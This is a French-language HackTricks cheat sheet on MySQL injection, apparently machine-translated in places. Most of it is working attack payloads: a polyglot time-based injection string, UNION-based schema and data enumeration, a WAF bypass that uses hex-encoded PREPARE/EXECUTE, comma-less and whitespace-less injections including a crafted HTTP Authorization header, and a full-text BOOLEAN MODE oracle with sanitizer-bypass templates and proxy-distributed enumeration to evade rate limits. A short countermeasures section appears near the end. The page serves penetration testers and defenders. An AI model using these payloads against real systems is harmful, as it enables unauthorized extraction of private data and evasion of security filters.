MySQL injection

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Commentaires

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Fonctions intéressantes

Confirmer Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Fonctions utiles

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Toutes les injections

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

tiré de https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Flux

Rappelez-vous que dans les versions "modernes" de MySQL vous pouvez remplacer "mysql.innodb_table_stats" par "information_schema.tables" (Cela peut ĂȘtre utile pour contourner les WAFs).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Only 1 value

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Detect number of columns

En utilisant un simple ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Découvrez ici différentes options pour abuse a Mysql injection to obtain a SSRF.

Astuces pour contourner le WAF

ExĂ©cution de requĂȘtes via Prepared Statements

Lorsque les stacked queries sont autorisĂ©es, il peut ĂȘtre possible de contourner les WAFs en assignant Ă  une variable la reprĂ©sentation hexadĂ©cimale de la requĂȘte que vous voulez exĂ©cuter (en utilisant SET), puis en utilisant les instructions PREPARE et EXECUTE de MySQL pour finalement exĂ©cuter la requĂȘte. Quelque chose comme ceci:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Pour plus d'informations, consultez this blog post.

Alternatives Ă  information_schema

Souvenez-vous que dans les versions « modernes » de MySQL, vous pouvez remplacer information_schema.tables par mysql.innodb_table_stats ou par sys.x$schema_flattened_keys ou par sys.schema_table_statistics

MySQLinjection sans COMMAS

Sélectionner 2 colonnes sans utiliser de virgule (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Récupérer des valeurs sans le nom de la colonne

Si à un moment donné vous connaissez le nom de la table mais que vous ne connaissez pas les noms des colonnes à l'intérieur de la table, vous pouvez essayer de trouver combien de colonnes il y a en exécutant quelque chose comme :

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Supposons qu'il y ait 2 colonnes (la premiÚre étant l'ID) et que l'autre soit le flag, vous pouvez faire un bruteforce du contenu du flag en testant caractÚre par caractÚre:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Plus d'infos sur https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection sans espaces (/**/ astuce de commentaire)

Certaines applications nettoient ou analysent l'entrĂ©e utilisateur avec des fonctions telles que sscanf("%128s", buf) qui s'arrĂȘtent au premier caractĂšre d'espace. Parce que MySQL traite la sĂ©quence /**/ comme un commentaire et comme un espace blanc, elle peut ĂȘtre utilisĂ©e pour supprimer complĂštement les espaces normaux du payload tout en gardant la requĂȘte syntaxiquement valide.

Exemple de time-based blind injection contournant le filtre d'espaces :

http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Que la base de données reçoit comme :

sql
' OR SLEEP(5)-- -'

Ceci est particuliĂšrement utile lorsque :

  • Le buffer contrĂŽlable est restreint en taille (par ex. %128s) et les espaces termineraient prĂ©maturĂ©ment l'entrĂ©e.
  • Injection via les en-tĂȘtes HTTP ou d'autres champs oĂč les espaces normaux sont supprimĂ©s ou utilisĂ©s comme sĂ©parateurs.
  • CombinĂ© avec les primitives INTO OUTFILE pour atteindre une full pre-auth RCE (voir la section MySQL File RCE).

Historique MySQL

Vous pouvez voir d'autres exécutions dans MySQL en lisant la table : sys.x$statement_analysis

Version alternatives

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Abus des opérateurs de MySQL Full-Text Search (FTS) BOOLEAN MODE (WOR)

Il ne s'agit pas d'une SQL injection classique. Quand les développeurs passent une entrée utilisateur dans MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL exécute un ensemble riche d'opérateurs de recherche booléenne à l'intérieur de la chaßne entre guillemets. Beaucoup de rÚgles WAF/SAST se concentrent uniquement sur la rupture des guillemets et manquent cette surface d'attaque.

Key points:

  • Les opĂ©rateurs sont Ă©valuĂ©s Ă  l'intĂ©rieur des guillemets : + (doit inclure), - (ne doit pas inclure), * (wildcard suffixe), "..." (phrase exacte), () (groupement), </>/~ (poids). Voir la doc MySQL.
  • Cela permet des tests de prĂ©sence/absence et de prĂ©fixe sans sortir du littĂ©ral de chaĂźne, par ex. AGAINST('+admin*' IN BOOLEAN MODE) pour vĂ©rifier tout terme commençant par admin.
  • Utile pour construire des oracles tels que « est-ce qu'une ligne contient un terme avec le prĂ©fixe X ? » et pour Ă©numĂ©rer des chaĂźnes cachĂ©es via l'expansion de prĂ©fixe.

Example query built by the backend:

sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as titres cachés/supprimés.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: si le backend supprime 1–2 caractĂšres finaux par mot via un regex comme (\b.{1,2})(\s)|(\b.{1,2}$), soumettez prefix*ZZ. Le cleaner supprime les ZZ mais laisse le *, donc prefix* survit.
  • Early-break stripping: si le code retire les opĂ©rateurs mot par mot mais arrĂȘte le traitement lorsqu'il trouve un token de longueur ≄ min length, envoyez deux tokens : le premier est un junk token qui atteint le seuil de longueur, le second porte l'operator payload. Par exemple: &&&&& +jack*ZZ → aprĂšs nettoyage: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 est &, %2B est +. Le suffixe xD (ou n'importe quelles deux lettres) est tronquĂ© par le cleaner, en prĂ©servant {FUZZ}*.
  • ConsidĂ©rez un redirect comme “match” et une page d'erreur comme “no match”. Ne suivez pas automatiquement les redirects pour garder l'oracle observable.

Flux d'énumération:

  1. Commencez avec {FUZZ} = a
z,0
9 pour trouver les correspondances de premiùre lettre via +a*, +b*, 

  2. Pour chaque prĂ©fixe positif, branchez-vous : a* → aa* / ab* / 
. RĂ©pĂ©tez pour rĂ©cupĂ©rer la chaĂźne entiĂšre.
  3. Distribuez les requĂȘtes (proxies, comptes multiples) si l'app impose du flood control.

Pourquoi les titres leak souvent alors que les contenus ne le font pas:

  • Certaines apps n'appliquent les vĂ©rifications de visibility qu'aprĂšs un MATCH prĂ©liminaire sur les titres/sujets. Si le control-flow dĂ©pend du rĂ©sultat «any results?» avant filtrage, des existence leaks se produisent.

Contre-mesures:

  • Si vous n'avez pas besoin du Boolean logic, utilisez IN NATURAL LANGUAGE MODE ou traitez l'entrĂ©e utilisateur comme un littĂ©ral (escape/quote dĂ©sactive les opĂ©rateurs dans les autres modes).
  • Si Boolean mode est requis, supprimez ou neutralisez tous les Boolean operators (+ - * " ( ) < > ~) pour chaque token (pas d'early breaks) aprĂšs tokenization.
  • Appliquez les filtres visibility/authorization avant MATCH, ou unifiez les rĂ©ponses (timing/status constants) lorsque le result set est empty vs. non-empty.
  • VĂ©rifiez les fonctionnalitĂ©s analogues dans d'autres DBMS : PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS analysent aussi les opĂ©rateurs Ă  l'intĂ©rieur d'arguments entre guillemets.

Remarques:

  • Les prepared statements ne protĂšgent pas contre l'abus sĂ©mantique de REGEXP ou des search operators. Une entrĂ©e comme .* reste une regex permissive mĂȘme Ă  l'intĂ©rieur d'un REGEXP '.*' entre guillemets. Utilisez des allow-lists ou des gardes explicites.

Other MYSQL injection guides

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks